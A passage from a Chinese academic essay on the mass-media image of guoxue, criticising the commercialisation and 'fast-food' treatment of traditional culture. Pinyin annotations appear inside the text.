傳統(tǒng)文化與時(shí)代意義相結(jié)合，賦予國學(xué)形象新的解讀視角與指導(dǎo)意義。任何時(shí)代的理論只有結(jié)合新的時(shí)代背景才能煥發(fā)出新的生機(jī)與活力，媒體呈現(xiàn)出的國學(xué)形象結(jié)合當(dāng)代環(huán)境新特點(diǎn)，擁有了實(shí)際性的指導(dǎo)意義。在講述《論語?子路》中“君子和而不同”時(shí)，結(jié)合我國國情，于丹指出我們今天構(gòu)建和諧社會，就是要把每一個(gè)人的不同聲音和諧地融入大的集體的聲音中去。專家學(xué)者站在新的時(shí)代高度，在總結(jié)國學(xué)理論精粹的基礎(chǔ)上，向受眾傳播新視角下的傳統(tǒng)文化與藝術(shù)。

大眾傳媒時(shí)代國學(xué)形象的媒介傳播方式，使得“國學(xué)熱”出現(xiàn)“暴力化”、“快餐化”、“商業(yè)化”的趨勢。我國正處于社會主義市場經(jīng)濟(jì)階段，隨著市場經(jīng)濟(jì)的發(fā)展、商業(yè)化程度的提高，文化與商品開始有機(jī)結(jié)合，文化越來越成為一種商品進(jìn)行生產(chǎn)與消費(fèi)。在市場化、商品化、利益化的過程中，傳播媒介也將中國傳統(tǒng)文化與藝術(shù)進(jìn)行再生產(chǎn)、包裝、銷售，國學(xué)在大眾傳媒利益的驅(qū)使下，將抓住受眾眼球作為唯一目的，將國學(xué)內(nèi)容扭曲化，傳播低俗、不健康、不道德的所謂“國學(xué)”內(nèi)容，使國學(xué)變得日益“商業(yè)化”、“暴力化”。與此同時(shí)，在讀圖時(shí)代，快速的生活節(jié)奏使受眾往往沒有時(shí)間與精力處理爆炸式彌漫的信息，更不會耐下心來閱讀往往晦澀難懂的深奧知識，大眾傳播媒介將國學(xué)打包，變其“快餐化”、“視覺化”來滿足受眾對相關(guān)文化的需求。中國國學(xué)是中華民族通過數(shù)千年的積淀、詮釋、傳承下來的寶貴的精神財(cái)富，要想真正吸收其精髓，必須真正潛下心來，仔細(xì)揣摩研讀才可領(lǐng)悟，僅靠“暴力化”、“商業(yè)化”的“文化快餐”有時(shí)不僅不能得到純正的國學(xué)知識，甚至?xí)纬慑e(cuò)誤的價(jià)值觀。這既要求受眾提升自己的分辨能力，也要求大眾傳媒在社會主義核心價(jià)值觀的引導(dǎo)下，加強(qiáng)自身媒介素養(yǎng)，堅(jiān)守媒介應(yīng)有的文化操守，真正為大眾提供一片解讀文化的凈土，弘揚(yáng)中國優(yōu)秀的傳統(tǒng)文化。

注 釋：

①2007年12月由國家新聞出版總署主管的《中國新聞出版報(bào)》。

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